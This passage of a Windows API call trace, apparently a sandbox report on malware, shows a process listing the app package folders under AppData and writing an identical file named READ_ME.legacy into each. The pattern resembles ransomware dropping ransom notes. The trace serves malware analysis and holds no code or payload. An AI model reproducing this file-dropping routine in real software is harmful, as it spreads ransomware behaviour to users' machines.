nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="SystemAppData", cAlternateFileName="SYSTEM~1")) returned 1 [0154.673] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.StorePurchaseApp_8wekyb3d8bbwe\\SystemAppData\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.storepurchaseapp_8wekyb3d8bbwe\\systemappdata\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8d8 [0154.673] WriteFile (in: hFile=0x8d8, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.674] CloseHandle (hObject=0x8d8) returned 1 [0154.674] FindNextFileW (in: hFindFile=0x61ea08, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd311a782, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd311a782, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xd311a782, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 1 [0154.674] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.StorePurchaseApp_8wekyb3d8bbwe\\TempState\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.storepurchaseapp_8wekyb3d8bbwe\\tempstate\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8d8 [0154.675] WriteFile (in: hFile=0x8d8, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.676] CloseHandle (hObject=0x8d8) returned 1 [0154.676] FindNextFileW (in: hFindFile=0x61ea08, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd311a782, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd311a782, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xd311a782, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 0 [0154.676] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.VCLibs.140.00_8wekyb3d8bbwe\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe3433d3f, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x35ff46f7, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xe3b3dc7d, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x61ea48 [0154.676] FindNextFileW (in: hFindFile=0x61ea48, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe3433d3f, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x35ff46f7, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xe3b3dc7d, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0154.676] FindNextFileW (in: hFindFile=0x61ea48, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe34f28da, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x35f5bdb6, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x35f5bdb6, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AC", cAlternateFileName="")) returned 1 [0154.676] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.VCLibs.140.00_8wekyb3d8bbwe\\AC\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.vclibs.140.00_8wekyb3d8bbwe\\ac\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8dc [0154.677] WriteFile (in: hFile=0x8dc, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.679] CloseHandle (hObject=0x8dc) returned 1 [0154.679] FindNextFileW (in: hFindFile=0x61ea48, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe34801ff, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xced7ab8d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe34801ff, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AppData", cAlternateFileName="")) returned 1 [0154.679] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.VCLibs.140.00_8wekyb3d8bbwe\\AppData\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.vclibs.140.00_8wekyb3d8bbwe\\appdata\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8dc [0154.680] WriteFile (in: hFile=0x8dc, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.681] CloseHandle (hObject=0x8dc) returned 1 [0154.681] FindNextFileW (in: hFindFile=0x61ea48, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe3459fc9, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xced7b247, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe3459fc9, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="LocalCache", cAlternateFileName="LOCALC~1")) returned 1 [0154.681] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.VCLibs.140.00_8wekyb3d8bbwe\\LocalCache\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.vclibs.140.00_8wekyb3d8bbwe\\localcache\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8dc [0154.682] WriteFile (in: hFile=0x8dc, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.683] CloseHandle (hObject=0x8dc) returned 1 [0154.683] FindNextFileW (in: hFindFile=0x61ea48, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe3433d3f, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xced7b97a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe3433d3f, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="LocalState", cAlternateFileName="LOCALS~1")) returned 1 [0154.683] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.VCLibs.140.00_8wekyb3d8bbwe\\LocalState\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.vclibs.140.00_8wekyb3d8bbwe\\localstate\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8dc [0154.695] WriteFile (in: hFile=0x8dc, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.697] CloseHandle (hObject=0x8dc) returned 1 [0154.697] FindNextFileW (in: hFindFile=0x61ea48, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3b3dc7d, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xe3b3dc7d, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xe3b63cef, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0154.697] FindNextFileW (in: hFindFile=0x61ea48, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe3433d3f, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xced7c17c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe3433d3f, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="RoamingState", cAlternateFileName="ROAMIN~1")) returned 1 [0154.697] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.VCLibs.140.00_8wekyb3d8bbwe\\RoamingState\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.vclibs.140.00_8wekyb3d8bbwe\\roamingstate\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8dc [0154.698] WriteFile (in: hFile=0x8dc, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.699] CloseHandle (hObject=0x8dc) returned 1 [0154.699] FindNextFileW (in: hFindFile=0x61ea48, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe3459fc9, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x712a64ad, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x712a64ad, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="Settings", cAlternateFileName="")) returned 1 [0154.699] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.VCLibs.140.00_8wekyb3d8bbwe\\Settings\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.vclibs.140.00_8wekyb3d8bbwe\\settings\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8dc [0154.700] WriteFile (in: hFile=0x8dc, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.701] CloseHandle (hObject=0x8dc) returned 1 [0154.701] FindNextFileW (in: hFindFile=0x61ea48, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe3433d3f, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xcee15758, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe3433d3f, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 1 [0154.701] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.VCLibs.140.00_8wekyb3d8bbwe\\TempState\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.vclibs.140.00_8wekyb3d8bbwe\\tempstate\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8dc [0154.702] WriteFile (in: hFile=0x8dc, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.703] CloseHandle (hObject=0x8dc) returned 1 [0154.703] FindNextFileW (in: hFindFile=0x61ea48, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe3433d3f, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xcee15758, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe3433d3f, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 0 [0154.703] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Wallet_8wekyb3d8bbwe\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc6065f77, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xc66f4772, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xe3bfc746, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x61ea88 [0154.703] FindNextFileW (in: hFindFile=0x61ea88, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc6065f77, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xc66f4772, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xe3bfc746, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0154.703] FindNextFileW (in: hFindFile=0x61ea88, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xc66f4772, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xc66f4772, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xc66f4772, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AC", cAlternateFileName="")) returned 1 [0154.703] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Wallet_8wekyb3d8bbwe\\AC\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.wallet_8wekyb3d8bbwe\\ac\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8e0 [0154.710] WriteFile (in: hFile=0x8e0, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.711] CloseHandle (hObject=0x8e0) returned 1 [0154.711] FindNextFileW (in: hFindFile=0x61ea88, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc65e974f, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xc65e974f, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xc65e974f, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AppData", cAlternateFileName="")) returned 1 [0154.711] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Wallet_8wekyb3d8bbwe\\AppData\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.wallet_8wekyb3d8bbwe\\appdata\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8e0 [0154.712] WriteFile (in: hFile=0x8e0, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.713] CloseHandle (hObject=0x8e0) returned 1 [0154.713] FindNextFileW (in: hFindFile=0x61ea88, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc65c3617, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xc65c3617, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xc65c3617, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="LocalCache", cAlternateFileName="LOCALC~1")) returned 1 [0154.713] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Wallet_8wekyb3d8bbwe\\LocalCache\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.wallet_8wekyb3d8bbwe\\localcache\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8e0 [0154.713] WriteFile (in: hFile=0x8e0, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.714] CloseHandle (hObject=0x8e0) returned 1 [0154.714] FindNextFileW (in: hFindFile=0x61ea88, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc6065f77, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xc6065f77, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xc6065f77, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="LocalState", cAlternateFileName="LOCALS~1")) returned 1 [0154.714] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Wallet_8wekyb3d8bbwe\\LocalState\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.wallet_8wekyb3d8bbwe\\localstate\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8e0 [0154.714] WriteFile (in: hFile=0x8e0, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.715] CloseHandle (hObject=0x8e0) returned 1 [0154.715] FindNextFileW (in: hFindFile=0x61ea88, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3bfc746, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xe3bfc746, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xe3bfc746, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0154.715] FindNextFileW (in: hFindFile=0x61ea88, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc6065f77, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xc6065f77, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xc6065f77, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="RoamingState", cAlternateFileName="ROAMIN~1")) returned 1 [0154.715] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Wallet_8wekyb3d8bbwe\\RoamingState\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.wallet_8wekyb3d8bbwe\\roamingstate\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8e0 [0154.716] WriteFile (in: hFile=0x8e0, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.716] CloseHandle (hObject=0x8e0) returned 1 [0154.717] FindNextFileW (in: hFindFile=0x61ea88, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc65c3617, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xc65e974f, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xc65e974f, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="Settings", cAlternateFileName="")) returned 1 [0154.717] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Wallet_8wekyb3d8bbwe\\Settings\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.wallet_8wekyb3d8bbwe\\settings\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8e0 [0154.717] WriteFile (in: hFile=0x8e0, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.718] CloseHandle (hObject=0x8e0) returned 1 [0154.718] FindNextFileW (in: hFindFile=0x61ea88, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc65e974f, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xc65e974f, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xc65e974f, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="SystemAppData", cAlternateFileName="SYSTEM~1")) returned 1 [0154.718] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Wallet_8wekyb3d8bbwe\\SystemAppData\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.wallet_8wekyb3d8bbwe\\systemappdata\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8e0 [0154.718] WriteFile (in: hFile=0x8e0, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.720] CloseHandle (hObject=0x8e0) returned 1 [0154.720] FindNextFileW (in: hFindFile=0x61ea88, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc65c3617, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xc65c3617, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xc65c3617, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 1 [0154.720] CreateFileW 